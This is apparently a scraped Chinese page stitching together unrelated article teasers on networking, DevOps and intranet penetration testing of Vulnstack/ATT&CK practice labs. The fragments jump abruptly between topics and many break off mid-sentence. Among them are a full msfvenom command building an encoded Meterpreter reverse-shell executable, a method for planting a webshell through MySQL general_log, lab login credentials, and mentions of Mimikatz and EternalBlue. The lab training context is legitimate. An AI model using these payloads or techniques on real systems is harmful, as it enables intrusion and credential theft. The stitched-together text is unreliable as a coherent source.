解决Spring Boot项目启动端口经常被占用的问题是开发过程中常遇到的挑战。本文将介绍一系列彻底解决方案，帮助您有效地解决这一问题，确保您的项目可以顺利启动并运行。
在默认状态下，Windows会打开很多“服务端口”，如果你想查看本机打开了哪些端口、有哪些电脑正在与本机连接，可以使用一些命令很简单的完成
说明：UDPSpeeder很早前博客就介绍过，是一个双边网络加速工具，本身是加速UDP流量，但也可以加速TCP/UDP/ICMP，而网络游戏也是走的UDP，我们可以用来配合SSTap来最大改善我们的游戏体验，近期作者发布windows版本客户端，使用更加方便了，这里就大概的讲下方法。 简介 UDPspeeder作用是给udp流量加冗余和纠错(RS code)，牺牲一定的流量(通常可小于0.5倍)，让网络达到接近零丢包。 可以单独加速udp，或配合V皮N加速全流量(tcp/udp/icmp)。 最佳的适用场景
基于MHA+consul的高可用方案上线已经一段时间了，目前比较稳定，之前线上环境使用的是VIP+MHA的高可用方案，这种方案在跨机房之间进行故障切换存在问题，所以现在要将服务器上的VIP(virtual IP address)给摘除掉，要摘除VIP，需要查看当前VIP是否有应用服务进行连接，这里利用到了tcpdump这个Linux命令来查看。
Kali：它是Linux发行版的操作系统，它拥有超过300个渗透测试工具，就不用自己再去找安装包，去安装到我们自己的电脑上了，毕竟自己从网上找到，也不安全。它甚至还集成了600多种黑客工具，很强大。
靶场地址:https://github.com/shengshengli/vulntarget
ipconfig /all 获取ip地址 所在域 linux：ifconfig -a
事件ID4227:EVENT_TCPIP_TCP_TIME_WAIT_COLLISION
很久之前放到收藏夹里的红日靶机，之前总想着汇总一下打一打，但是硬盘没有太大空间就没有去下载搭建（其实就是懒），最近写毕设的过程中无聊换换脑子来打一打。
由于我们接下来直接在 127.0.0.1 下测试，所以我们只需要监听此 ip 下的数据即可。
将内网Win7虚拟机(192.168.31.239)的Teamviewer(端口为5938）映射到了公网的腾讯云服务器
1. msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=192.168.2.128 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 7 -f exe -o a.exe --产生一个exe文件
“本地连接”只出现于Win7和XP中，在Win8和win10系统，被更名为“以太网”。（.....大声重复.....）
周六群里大佬发了一篇文章，是关于TCP keepalive相关的，其中有一段是关于孤儿连接的，这里引用下
2. 查看 安装的软件及版本、路径.（ 可以查看这些 软件有没有漏洞，然后再进行攻击. ）
测试本机端口对外开放情况，在本机上请求本机对外的ip地址即可，不一定需要在其他机器上。
参考：https://blog.csdn.net/bankpan/article/details/45293293
我是从 Linux 迁移过来的 FreeBSD 新用户，Linux 中使用的是 netfilter 防火墙框架（LCTT 译注：netfilter 是由 Rusty Russell 提出的 Linux 2.4 内核防火墙框架）。那么在 FreeBSD 上，我该如何设置 PF 防火墙，来保护只有一个公共 IP 地址和端口的 web 服务器呢？
利用代理工具将内网的流量代理到本地进行访问，这样就可以对内网进行下一步渗透，同时也可以利用代理工具将其他网段的流量转发到本地进行纵向渗透。代理的本质是Socks协议(防火墙安全会话转换协议)，工作在OSI参考模型的第5层（会话层）。使用TCP协议传输数据，因而不提供如传递ICMP信息之类的网络层相关服务。目前支持SOCKS4和SOCKS5两个版本：
http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
事情起因 发现自己的win11已经安装了一个wsl,就想折腾一下.. 但是明明zfile有win版的,为啥还要多此一举呢? 害, 就是瞎折腾呗.... 安装软件 应用商店搜索WSL选择安装的系统 安装
错误 (iptables failed: iptables --wait -t filter -A DOCKER ! -i docker0 -o docker0 -p tcp -d 172.17.0.2 --dport 4399 -j ACCEPT: iptables: No chain/target/match by that name. (exit status 1)). 解决 重启docker systemctl restart docker 部署showdoc https://www.dqgs
Administrator/Admin@123、vulntarget.com\win2016/Admin#123
在测试功能的过程中,出现这样一种现象.前端js发起ajax请求后,在浏览器的审查元素网络状态中可以看到status为pending,等15秒以后js会把当前超时的请求取消掉,变成了红色的cancel.针对这一现象,我在本地Windows电脑和远程Linux测试机进行了网络抓包分析.
SMB协议大家应该都有所了解，毕竟2017年的MS17-010血洗整个互联网，加上之前的MS08-067 漏洞，这些都是SMB协议上出现过的著名漏洞
SOCKS是一种代理服务，可以简单地将一端的系统连接另一 端。 SOCKS支持多种协议，包括HTTP、FTP等。SOCKS分为SOCKS 4和SOCKS 5两种类型： SOCKS 4只支持TCP协议；SOCKS5不仅支持TCP/UDP协议，还支持各种身份验证机制等，其标准端口为1080.SOCKS能够与目标内网计算机进行通信，避免多次使用端口转发。
身为开发人员，虚拟化系统是经常用到的，因为虚拟化能隔绝环境，虚拟出各种各样系统给开发人员测试。不仅仅是VMware虚拟机，还有服务部署docker，k8s等等虚拟化无处不在。本文就尝试使用cpolar进行wind11的远程控制。
在渗透测试中信息收集的深度与广度以及对关键信息的提取，直接或间接的决定了渗透测试的质量，本篇文章主要对内网中信息收集做一个简单的归纳以及介绍
访问80端口是一个phpStudy 探针，结合phpinfo.php和探针知晓主目录在C:/phpStudy/WWW
大家好，又见面了，我是你们的朋友全栈君。 💛生活总会难过💚，💛但好运也会如期而至💚 🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴 🍪目录： 🌲Msfconsole工具 概括： 🌲免责声明： 🌲测试机： 🌲靶场： 🌲Msfconsole的使用： 🌲打开Msfconsole工具： 🌲第一步：进行端口扫描. 🌲第二步：进行服务的扫
上一篇文章 对于Ping的过程，你真的了解吗？ 我们通过抓包工具来分析了一次 Ping 的过程，我们知道了 ping 是依托于 ICMP 协议，然后再局域网中还会涉及到 ARP 请求，今天这篇文章我们同样用抓包分析工具来分析我们熟悉的 HTTP 请求是怎么样的？
wmic 脚本下载地址：https://www.fuzzysecurity.com/scripts/files/wmic_info.rar
10.6 监控io性能 监控系统状态 iostat -x 磁盘使用 iotop 磁盘使用 查看磁盘使用情况 在运维工作中，除了查看CPU和内存之外，磁盘的io也是非常重要的一个指标 有时候，CPU和内存有内存，但系统负载就是很高，我们用vmstat命令查看到 b 列或者是 wa 列 较大，这时候就说明磁盘有瓶颈，那么我们就需要更详细的查看磁盘的状态 iostat命令 iostat命令，在查看系统输入输出设备和CPU的使用情况 在安装 sysstat 这个包的时候，就会安装上iostat命令 iosta
永恒之蓝(ms17-010)过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞，恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
最近看到frp的官方文档中关于STCP的概念 对于某些服务来说如果直接暴露于公网上将会存在安全隐患。
作者：7sDream 来源： https://www.zybuluo.com/7sDream/note/729295 安装 MSF Linux & Mac OS X 如果遇到问题，点开这个链接，然后
一、背景说明 在之前的篇章中，提到在webvirtmgr里安装linux系统的vm，下面说下安装windows系统虚拟机的操作记录： 由于KVM管理虚拟机的硬盘和网卡需要virtio驱动，linux系统默认支持virtio驱动，所以安装linux系统虚拟机的时候只需要加载iso镜像即可。 但是windows系统默认不支持virtio驱动，需要另外下载virtio驱动，在安装windowss虚拟机过程中，需要选择virtio驱动路径，继而加载驱动，最后才可以识别到驱动。 下面是安装windows serve
简单地说，frp就是一个反向代理软件，它体积轻量但功能很强大，可以使处于内网或防火墙后的设备对外界提供服务，它支持HTTP、TCP、UDP等众多协议。我们今天仅讨论TCP和UDP相关的内容。
今天在netbeans中关闭webrick时,发现没有关闭掉,打入localhost:3000 依然显示页面,发现无法从nb中再次关闭
这里有绝对路径的情况下，可直接写入webshell。这里使用sqlmap os-shell的功能
靶场地址http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 下载过文件后，需配置如下两个虚拟网络（一个内网，一个外网）
渗透测试过程中会用到一些系统shell工具，有几只长得很像，分别是netcat(nc), nmap-cat(ncat), socat, powercat. 都是跟“猫”相关的，这几只“猫”上得了庭堂，下得了厨房，不对，是上可卖萌，下可贩贱，最近汇总了下这几只“猫”的用法，分享如下。
Metasploit 是目前最流行、最强大、最具扩展性的渗透测试平台软件，是笔者最崇拜也最喜欢的工具没有之一，下面我将用 msf 给大家带来一场盛大的内网渗透体验，别眨眼噢！
这篇文章我总结得比较详尽，可以当字典查，建议收藏，不过别光顾着收藏，点赞什么的鼓励我一下，这能让我更有动力给大家输出更好的内容。
以社工等方法获取到xp主机的shell 通过metasploit会话，使用Windows xp靶机作为跳板，扫描和攻击内部网络主机
当开启general log为on时，所执行的sql语句都会出现在stu1.log文件中。那么，如果修改generallogfile的值，那么所执行的sql语句就会对应生成对应的文件中，进而getshell。所以为了get shell，我们将general log设为on，将general log file设为C:/phpStudy/WWW/test.php
漏洞环境为ATT&CK实战系列——红队实战（一），主要记录拿到Shell后再反弹MSF Shell、Mimikatz抓取密码以及登录域控等内网部分。前面漏洞环境搭建及打点等不作记录，可查看参考文章。 环境 Kali：192.168.8.128，攻击机 Win7： Web服务器，192.168.8.129 域用户stu1.god.org，192.168.52.143 Win2003：域控制器owa.god.org，192.168.52.138 反弹Shell 攻击机制作木马文件，实际环境中需做免杀 $ ms
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
腾讯会议
实时音视频
